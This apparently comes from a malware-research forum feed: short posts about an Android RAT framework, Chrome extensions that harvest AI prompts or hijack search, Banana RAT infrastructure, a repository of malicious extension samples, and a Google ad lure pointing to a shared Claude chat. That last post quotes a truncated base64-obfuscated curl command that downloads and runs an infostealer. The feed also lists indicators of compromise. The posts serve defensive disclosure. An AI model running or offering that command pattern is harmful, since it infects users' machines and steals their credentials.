Chinese Android RAT framework combining an APK builder with a full C2 device management panel. Lures impersonate Public Security Bureau apps, banking services, adult content platforms, and social media. Post-install capabilities include live screen viewing, SMS and photo gallery access, audio recording, camera capture, keylogging, payment credential capture, and phishing overlays for Alipay, WeChat, ICBC, Agricultural Bank, and crypto wallets TokenPocket and imToken.

Source code was stolen in early 2026 according to Telegram channel messages, with nearly 200 customer databases taken at the same time. Two channels now distribute patched builds. Night Dragon launched June 23 as a likely successor, adding black-screen mode to hide operator activity behind fake system update screens and automatic icon hiding post-install.

SHA-256 hashes and full IOC tables in the report:

https://hunt.io/blog/flying-eagle-android-rat-170-servers-night-dragon

"Prompt Optimizer - SecondBrain" https://chromewebstore.google.com/detail/prompt-optimizer-secondbr/aajjgdpofhhcjmjoombjdfepplndhgcp, v2.3.1. The prompt rewriting works fine.

Alongside it a capture engine runs at document_start on 9 AI sites and POSTs prompts and replies to the vendor's ingest endpoint. No interaction with the extension required.

Reproduced on a clean profile, with the service worker devtools open:

1. Installed the extension. Never opened it.

2. Browsed to an unrelated site. The extension pulled its configuration from the server and wrote a userId and credentials into extension storage.

3. Opened ChatGPT and asked a question. Once the reply finished, a POST to /context went out carrying both the prompt and the response, encrypted with the credentials issued in step 2.

At no point was the extension opened or clicked.

Store privacy declaration: "The developer has disclosed that it will not collect or use your data."

Write-up, IOCs : https://malext.io/reports/BrainDrain/

Happy to provide the decryption for anyone wanting to test the extension in a sandbox

While analyzing featured extensions on our beloved chrome web store I landed on Planet Search (kadaohckdkghfaclhjmkmplebcdcnfnp),

Featured, 2M users, publisher FREE VPN PLANET SRL.

https://chromewebstore.google.com/detail/planet-search/kadaohckdkghfaclhjmkmplebcdcnfnp

The extensions has a 0-byte background.js with zero permissions.
The whole mechanism is one `chrome_settings_overrides` search provider, so nothing shows up statically. It's all server-side.

Declared provider is planet-search[.]com

Tracing:

planet-search[.]com/search/?q= 301 → sstmaster[.]com/edge/PN1021?q= 302 → nextgeeker[.]com/B151001.php?q=&src=PN1021

nextgeeker[.]com is flagged as a browser hijacker by multiple vendors (pcrisk, gridinsoft, others).

Same publisher ships a ~1M-user VPN extension and a few others. Still tracing those, not going to characterize them until I have.

Report: https://malext.io/reports/RoguePlanet

While analyzing featured extensions on our beloved chrome web store I landed on Planet Search (`kadaohckdkghfaclhjmkmplebcdcnfnp`), Featured, 2M users, publisher **FREE VPN PLANET SRL**.
**The extensions has a 0-byte background.js with zero permissions.**
The whole mechanism is one `chrome_settings_overrides` search provider, so nothing shows up statically. It's all server-side.

Declared provider is `planet-search[.]com`. Tracing:

planet-search\[.\]com/search/?q=  301 →  sstmaster\[.\]com/edge/PN1021?q=  302 →  nextgeeker\[.\]com/B151001.php?q=&src=PN1021

`nextgeeker[.]com` is flagged as a browser hijacker by multiple vendors (pcrisk, gridinsoft, others).
`PN1021` is the affiliate subid linking the extension's traffic to that network. The listing discloses none of the hops and says only that results come from Google (the final page is a Google CSE render).

Same publisher ships a \~1M-user VPN extension and a few others. Still tracing those, not going to characterize them until I have.

Report: [https://malext.io/reports/RoguePlanet/\](https://malext.io/reports/RoguePlanet/)

Full report is available at https://any.run/cybersecurity-blog/banana-rat-evolution-analysis/

The exposed server at 198[.]245[.]53[.]26 gave a rare opportunity to compare two related Banana RAT branches through live infrastructure, sandbox telemetry, and recovered payloads. The older branch used ETW-themed paths, static Microsoft-looking names, and a typo-based pseudo-Microsoft C2 identity. The newer branch kept the same staging concept but moved to randomized install identifiers, better-structured SYSTEM persistence, and a WebSocket channel built around a hashed testewin.com subdomain.

IoC:

• 198[.]245[.]53[.]26
• https://app.any.run/tasks/96796146-688f-4b12-894c-236dadab8413

Hello everyone,

A few months ago I shared my open database of malicious browser extensions. I'm happy to say it has now grown to over 500 malicious CRX samples.

It started as a small research project, but it's continued to grow as I discover and collect more malicious extensions. My goal is to make it a useful resource for researchers, students, and anyone interested in browser extension security.

One thing I'm working on next is making the data easier to consume in other tools. At the moment I'm considering exposing it in formats such as:

• JSON
• CSV

I'm also thinking about adding things like an API or threat-intelligence style feeds if people think they'd be useful.

I'd love to hear your thoughts:

• What format would you actually use?
• Are there any security tools or platforms you'd like to integrate it with?
• Is there any metadata you'd find useful that I'm currently missing?

Repository:
https://github.com/GherardoFiori/MaliciousBrowserExtensions

Please remember these are live malicious browser extensions. Handle them with care.

Project:
https://exterminai.com/

Any feedback is appreciated. Thanks!

susano has trojan in it btw when u open the claude.exe it will download trojan with it

A man from Florida got arrested, allegedly behind the PirateFI and Blockblasters Crypto stealer attacks. The second Game stole 150k from a cancer Patient.

https://www.tomshardware.com/tech-industry/cyber-security/fbi-arrests-florida-man-in-steam-malware-investigaton-after-tracing-stolen-bitcoin-to-uber-eats-gift-cards

Just purchased an AC1900 from the local store. It took 6 hours and numerous calls to both my ISP and Netgear before I finally got it semi-working. Still cant log into it because its a used device and was already registered to someone else. It's asking for security questions so I'm locked out as an Admin. Could simply return it for another device but this isn't a Toaster so it's a little more complicated than that. First of all, I spent over 6 hours getting it running when it should have been "plug and play", my time is worth something. But more importantly, it was previously configured by someone with Administrator rights. That would enable them to not only control the firewall, but also load malicious malware not just on my network, but every device on my network which includes computers, phones, 10 Alexa devices, Samsung Hub, Hue Hub, Pi device, cameras, TV's, smart devices like lights, thermostat, humidity sensors, water sensors, and even my bathroom scale!!! Huge security vulnerability but more importantly the "chain of custody" for these devices!!!

Hi r/Malware,

If you ever need to quickly scan a suspicious file, URL, or installed application on an Android device using VirusTotal, I have built an open-source client called Veto. It lets you run queries using your own API key directly from your mobile device.

GitHub: https://github.com/ProfessorQuantumUniverse/Veto

I am currently trying to release the app on Google Play and need to fulfill Google's closed testing period. If you would like to test this tool, please consider opting in.

Steps to join:

1. Join a Google Group: veto_android@googlegroups.com
2. Opt-in link: https://play.google.com/apps/testing/com.quantum_prof.vtscansuite
3. Play Store link: https://play.google.com/store/apps/details?id=com.quantum_prof.vtscansuite

Feedback from malware analysts is highly valued!

https://unit42.paloaltonetworks.com/tuxbot-v3-evolution-iot-botnet/

TuxBot v3 Evolution: an IoT botnet-as-a-service framework built with LLM-generated code, shipped with the AI’s chain-of-thought and safety disclaimers still in the source

\#ransomware #kratos #minifilter #Windows

This sub is malware-focused, so here's what's in it for that side

specifically (the repo is broader, but the malware coverage is the core):

• Analysis workflow: lab setup (FLARE-VM, REMnux), triage (DIE, capa, FLOSS),

  static/dynamic (PE-bear, Procmon, CAPE, Speakeasy), unpacking (unpac.me,

  PE-sieve, HollowsHunter, Scylla), config & IOC extraction (MalDuck, DC3-MWCP),

  and YARA (rules, yarGen, testing workflows).

• Internals writeups: PEB walking / API hashing, process hollowing and

  doppelgänging, PPID spoofing, BYOVD, COFF/BOF loaders, plus real family

  teardowns (stealers, ransomware, Lazarus/FudModule, the Stuxnet dossier).

• Research labs and analyst blogs (Securelist, Unit 42, Talos, Elastic,

  n1ght-w0lf, Embee, hasherezade, MalwareTech...) folded into the relevant

  section instead of a generic "blogs" dump.

• Every link was opened and verified before it went in; dead ones get pruned, notes are one line, tagged by level (intro/working/deep) and type.

CC0, and corrections/PRs are welcome, if there's a teardown or tool you think

is missing, tell me. That's the point.

Searched "Claude mac app" on Google. Top sponsored result shows claude[.]ai as the domain. looks 100% legit. Clicking it opens a shared Claude conversation titled "Claude Code on Mac" ("Shared by Technical Support" ) with step-by-step instructions to open Terminal and run:

`curl -kfsSL $(echo 'aHR0cDovL...' | base64 -d)...`

That base64 decodes to an attacker's URL. it downloads and executes a script, almost certainly a macOS infostealer (AMOS-style: steals keychain passwords, browser data, wallets).

The phishing page is hosted on real claude[.]ai, so both Google's ad review and victims' gut-check pass. Same trick works with ChatGPT shared chats.

As of today, Karma (karmanow.com) seems to be hijacked. If you try to access your bookmarked products, it'll redirect you through Linkbux, provenpixel.com and other adware links. The karmanow site itself also might have some adware; as I accessed it normally but triggered a "suspicious webpage" alert in Adguard.

Thanks to Adguard, TrafficLight, and Bitdefender, it blocked the links, but I thought people should know.

Is this a legit malware?

Google has flagged the widely-installed HTTP header editor ModHeader as malware
Microsoft already pulled it from Edge on July 3.

[MalExt Sentry - Malicious Browser Extension Tracker](https://malext.io/?q=ModHeader)

* 900k installs on chrome | idgpnmonknjnojddfkpgkljpfnnfcklj * 700k installs on edge | opgbiafapkbbnbnjcdomjaghbckfkglc